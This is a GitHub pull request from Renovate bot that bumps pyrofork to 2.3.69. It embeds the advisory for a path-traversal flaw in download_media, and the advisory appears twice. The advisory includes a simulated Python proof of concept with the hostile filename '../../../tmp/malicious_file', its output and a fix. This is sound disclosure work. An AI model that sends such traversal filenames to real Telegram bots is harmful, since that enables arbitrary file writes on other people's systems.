fix(dependencies): update dependency pyrofork to v2.3.69 [security] by renovate[bot] · Pull Request #459 · EDM115/unzip-bot

renovate · 2025-12-10T20:25:17Z

This PR contains the following updates:

Package	Change	Age	Confidence
pyrofork	`==2.3.61` → `==2.3.69`

GitHub Vulnerability Alerts

CVE-2025-67720

Summary

The download_media method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., ../) or absolute paths in the filename.

Details

When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the file_name attribute from the media object. This attribute originates from Telegram's DocumentAttributeFilename and is controlled by the message sender.

Vulnerable Code Path

Step 1: In pyrogram/methods/messages/download_media.py (lines 145-151):

media_file_name = getattr(media, "file_name", "")  # Value from Telegram message

directory, file_name = os.path.split(file_name)    # Split user's path parameter
file_name = file_name or media_file_name or ""     # Falls back to media_file_name if empty

When a user calls download_media(message) or download_media(message, "downloads/"), the os.path.split() returns an empty filename, causing the code to use media_file_name which is attacker-controlled.

Step 2: In pyrogram/client.py (line 1125):

temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp"

The os.path.join() function does not prevent path traversal. When file_name contains ../ sequences or is an absolute path, it allows writing outside the intended download directory.

Why the existing `isabs` check is insufficient

The check at line 153 in download_media.py:

if not os.path.isabs(file_name):
    directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)

This check only handles absolute paths by skipping the directory prefix, but:

For relative paths with ../, os.path.isabs() returns False, so the check doesn't catch it
For absolute paths, os.path.join() in the next step will still use the absolute path directly

PoC

The following Python script demonstrates the vulnerability by simulating the exact code logic from download_media.py and client.py:

#!/usr/bin/env python3
"""
Path Traversal PoC for Pyrofork download_media
Demonstrates CWE-22 vulnerability in filename handling
"""

import os
import shutil
import tempfile
from pathlib import Path
from dataclasses import dataclass

@&#8203;dataclass
class MockDocument:
    """Simulates a Telegram Document with attacker-controlled file_name"""
    file_id: str
    file_name: str  # Attacker-controlled!

@&#8203;dataclass  
class MockMessage:
    """Simulates a Telegram Message"""
    document: MockDocument

DEFAULT_DOWNLOAD_DIR = "downloads/"

def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):
    """
    Simulates the vulnerable logic from:
    - pyrogram/methods/messages/download_media.py (lines 145-154)
    - pyrogram/client.py (line 1125)
    """
    media = message.document
    media_file_name = getattr(media, "file_name", "")
    
    # Line 150-151: Split and fallback
    directory, file_name = os.path.split(file_name)
    file_name = file_name or media_file_name or ""
    
    # Line 153-154: isabs check (insufficient!)
    if not os.path.isabs(file_name):
        directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)
    
    if not file_name:
        file_name = "generated_file.bin"
    
    # Line 1125 in client.py: Path construction
    import re
    temp_file_path = os.path.abspath(
        re.sub("\\\\", "/", os.path.join(str(directory), file_name))
    ) + ".temp"
    
    return temp_file_path

def run_poc():
    print("=" * 60)
    print("PYROFORK PATH TRAVERSAL PoC")
    print("=" * 60)
    
    with tempfile.TemporaryDirectory() as temp_base:
        parent_dir = Path(temp_base)
        expected_dir = str(parent_dir / "downloads")
        
        print(f"\n[*] Bot working directory: {parent_dir}")
        print(f"[*] Expected download dir: {expected_dir}")
        
        # Attack: Path traversal with ../
        print("\n" + "-" * 60)
        print("TEST: Path Traversal Attack")
        print("-" * 60)
        
        malicious_msg = MockMessage(
            document=MockDocument(
                file_id="test_id",
                file_name="../../../tmp/malicious_file"
            )
        )
        
        result_path = vulnerable_download_media(
            parent_dir=parent_dir,
            message=malicious_msg,
            file_name="downloads/"
        )
        
        # Remove .temp suffix for final path
        final_path = os.path.splitext(result_path)[0]
        
        print(f"[*] Malicious filename: ../../../tmp/malicious_file")
        print(f"[*] Resulting path: {final_path}")
        
        if not final_path.startswith(expected_dir):
            print(f"\n[!] VULNERABILITY CONFIRMED")
            print(f"[!] File path escapes intended directory!")
            print(f"[!] Expected: {expected_dir}/...")
            print(f"[!] Actual: {final_path}")
        else:
            print("[*] Path is within expected directory")

if __name__ == "__main__":
    run_poc()

How to Run

Save the above script and run:

python3 poc_script.py

Expected Output

============================================================
PYROFORK PATH TRAVERSAL PoC
============================================================

[*] Bot working directory: /tmp/tmpXXXXXX
[*] Expected download dir: /tmp/tmpXXXXXX/downloads

------------------------------------------------------------
TEST: Path Traversal Attack
------------------------------------------------------------
[*] Malicious filename: ../../../tmp/malicious_file
[*] Resulting path: /tmp/malicious_file

[!] VULNERABILITY CONFIRMED
[!] File path escapes intended directory!
[!] Expected: /tmp/tmpXXXXXX/downloads/...
[!] Actual: /tmp/malicious_file

Why This Proves the Vulnerability

The PoC uses the exact same logic as the vulnerable code in download_media.py and client.py
The malicious filename ../../../tmp/malicious_file causes the path to escape from /tmp/tmpXXX/downloads/ to /tmp/malicious_file
Python's os.path.join() and os.path.abspath() behavior is deterministic - this will work the same way in the real library

Impact

Who is affected?

Telegram bots or user accounts using Pyrofork that download media with default parameters
The common usage pattern await client.download_media(message) is affected

Conditions required for exploitation

Attacker must be able to send messages to the victim's bot/account
Victim must download the media without specifying a custom filename
The bot process must have write permissions to the target location

Potential consequences

Arbitrary file write to locations writable by the bot process
Overwriting existing files could cause denial of service or configuration issues
In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)

Recommended Fix

Add filename sanitization in download_media.py after line 151:

file_name = file_name or media_file_name or ""

# Add this sanitization block:
if file_name:
    # Remove any path components, keeping only the basename
    file_name = os.path.basename(file_name)
    # Remove null bytes which could cause issues
    file_name = file_name.replace('\x00', '')
    # Handle edge cases
    if not file_name or file_name in ('.', '..'):
        file_name = ""

This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.

Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.

Pyrofork has a Path Traversal in download_media Method

CVE-2025-67720 / GHSA-6h2f-wjhf-4wjx

More information

Details

Summary

The download_media method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., ../) or absolute paths in the filename.

Details

When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the file_name attribute from the media object. This attribute originates from Telegram's DocumentAttributeFilename and is controlled by the message sender.

Vulnerable Code Path

Step 1: In pyrogram/methods/messages/download_media.py (lines 145-151):

media_file_name = getattr(media, "file_name", "")  # Value from Telegram message

directory, file_name = os.path.split(file_name)    # Split user's path parameter
file_name = file_name or media_file_name or ""     # Falls back to media_file_name if empty

When a user calls download_media(message) or download_media(message, "downloads/"), the os.path.split() returns an empty filename, causing the code to use media_file_name which is attacker-controlled.

Step 2: In pyrogram/client.py (line 1125):

temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp"

The os.path.join() function does not prevent path traversal. When file_name contains ../ sequences or is an absolute path, it allows writing outside the intended download directory.

Why the existing `isabs` check is insufficient

The check at line 153 in download_media.py:

if not os.path.isabs(file_name):
    directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)

This check only handles absolute paths by skipping the directory prefix, but:

For relative paths with ../, os.path.isabs() returns False, so the check doesn't catch it
For absolute paths, os.path.join() in the next step will still use the absolute path directly

PoC

The following Python script demonstrates the vulnerability by simulating the exact code logic from download_media.py and client.py:

#!/usr/bin/env python3
"""
Path Traversal PoC for Pyrofork download_media
Demonstrates CWE-22 vulnerability in filename handling
"""

import os
import shutil
import tempfile
from pathlib import Path
from dataclasses import dataclass

@&#8203;dataclass
class MockDocument:
    """Simulates a Telegram Document with attacker-controlled file_name"""
    file_id: str
    file_name: str  # Attacker-controlled!

@&#8203;dataclass  
class MockMessage:
    """Simulates a Telegram Message"""
    document: MockDocument

DEFAULT_DOWNLOAD_DIR = "downloads/"

def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):
    """
    Simulates the vulnerable logic from:
    - pyrogram/methods/messages/download_media.py (lines 145-154)
    - pyrogram/client.py (line 1125)
    """
    media = message.document
    media_file_name = getattr(media, "file_name", "")
    
    # Line 150-151: Split and fallback
    directory, file_name = os.path.split(file_name)
    file_name = file_name or media_file_name or ""
    
    # Line 153-154: isabs check (insufficient!)
    if not os.path.isabs(file_name):
        directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)
    
    if not file_name:
        file_name = "generated_file.bin"
    
    # Line 1125 in client.py: Path construction
    import re
    temp_file_path = os.path.abspath(
        re.sub("\\\\", "/", os.path.join(str(directory), file_name))
    ) + ".temp"
    
    return temp_file_path

def run_poc():
    print("=" * 60)
    print("PYROFORK PATH TRAVERSAL PoC")
    print("=" * 60)
    
    with tempfile.TemporaryDirectory() as temp_base:
        parent_dir = Path(temp_base)
        expected_dir = str(parent_dir / "downloads")
        
        print(f"\n[*] Bot working directory: {parent_dir}")
        print(f"[*] Expected download dir: {expected_dir}")
        
        # Attack: Path traversal with ../
        print("\n" + "-" * 60)
        print("TEST: Path Traversal Attack")
        print("-" * 60)
        
        malicious_msg = MockMessage(
            document=MockDocument(
                file_id="test_id",
                file_name="../../../tmp/malicious_file"
            )
        )
        
        result_path = vulnerable_download_media(
            parent_dir=parent_dir,
            message=malicious_msg,
            file_name="downloads/"
        )
        
        # Remove .temp suffix for final path
        final_path = os.path.splitext(result_path)[0]
        
        print(f"[*] Malicious filename: ../../../tmp/malicious_file")
        print(f"[*] Resulting path: {final_path}")
        
        if not final_path.startswith(expected_dir):
            print(f"\n[!] VULNERABILITY CONFIRMED")
            print(f"[!] File path escapes intended directory!")
            print(f"[!] Expected: {expected_dir}/...")
            print(f"[!] Actual: {final_path}")
        else:
            print("[*] Path is within expected directory")

if __name__ == "__main__":
    run_poc()

How to Run

Save the above script and run:

python3 poc_script.py

Expected Output

============================================================
PYROFORK PATH TRAVERSAL PoC
============================================================

[*] Bot working directory: /tmp/tmpXXXXXX
[*] Expected download dir: /tmp/tmpXXXXXX/downloads

------------------------------------------------------------
TEST: Path Traversal Attack
------------------------------------------------------------
[*] Malicious filename: ../../../tmp/malicious_file
[*] Resulting path: /tmp/malicious_file

[!] VULNERABILITY CONFIRMED
[!] File path escapes intended directory!
[!] Expected: /tmp/tmpXXXXXX/downloads/...
[!] Actual: /tmp/malicious_file

Why This Proves the Vulnerability

The PoC uses the exact same logic as the vulnerable code in download_media.py and client.py
The malicious filename ../../../tmp/malicious_file causes the path to escape from /tmp/tmpXXX/downloads/ to /tmp/malicious_file
Python's os.path.join() and os.path.abspath() behavior is deterministic - this will work the same way in the real library

Impact

Who is affected?

Telegram bots or user accounts using Pyrofork that download media with default parameters
The common usage pattern await client.download_media(message) is affected

Conditions required for exploitation

Attacker must be able to send messages to the victim's bot/account
Victim must download the media without specifying a custom filename
The bot process must have write permissions to the target location

Potential consequences

Arbitrary file write to locations writable by the bot process
Overwriting existing files could cause denial of service or configuration issues
In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)

Recommended Fix

Add filename sanitization in download_media.py after line 151:

file_name = file_name or media_file_name or ""

##### Add this sanitization block:
if file_name:
    # Remove any path components, keeping only the basename
    file_name = os.path.basename(file_name)
    # Remove null bytes which could cause issues
    file_name = file_name.replace('\x00', '')
    # Handle edge cases
    if not file_name or file_name in ('.', '..'):
        file_name = ""

This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.

Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.

Severity

CVSS Score: Unknown
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

Mayuri-Chan/pyrofork (pyrofork)

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

| datasource | package | from | to | | ---------- | -------- | ------ | ------ | | pypi | pyrofork | 2.3.61 | 2.3.69 |

renovate · 2026-02-23T15:04:28Z

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (==2.3.69). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

fix(dependencies): update dependency pyrofork to v2.3.69 [security]

9a9495f

| datasource | package | from | to | | ---------- | -------- | ------ | ------ | | pypi | pyrofork | 2.3.61 | 2.3.69 |

renovate bot added the Mend: Renovate label Dec 10, 2025

renovate bot assigned EDM115 Dec 10, 2025

renovate bot requested a review from EDM115 December 10, 2025 20:25

github-actions bot added the PR: draft PR is draft. label Dec 10, 2025

EDM115 closed this Feb 23, 2026

EDM115 deleted the renovate/pypi-pyrofork-vulnerability branch February 23, 2026 15:04

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

fix(dependencies): update dependency pyrofork to v2.3.69 [security]#459

fix(dependencies): update dependency pyrofork to v2.3.69 [security]#459
renovate[bot] wants to merge 1 commit intov7from
renovate/pypi-pyrofork-vulnerability

renovate bot commented Dec 10, 2025 •

edited

Loading

Uh oh!

renovate bot commented Feb 23, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Uh oh!

Conversation

renovate bot commented Dec 10, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Summary

Details

Vulnerable Code Path

Why the existing isabs check is insufficient

PoC

How to Run

Expected Output

Why This Proves the Vulnerability

Impact

Who is affected?

Conditions required for exploitation

Potential consequences

Recommended Fix

Pyrofork has a Path Traversal in download_media Method

Details

Summary

Details

Vulnerable Code Path

Why the existing isabs check is insufficient

PoC

How to Run

Expected Output

Why This Proves the Vulnerability

Impact

Who is affected?

Conditions required for exploitation

Potential consequences

Recommended Fix

Severity

References

Release Notes

Configuration

Uh oh!

renovate bot commented Feb 23, 2026

Renovate Ignore Notification

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

renovate bot commented Dec 10, 2025 •

edited

Loading

Why the existing `isabs` check is insufficient

Why the existing `isabs` check is insufficient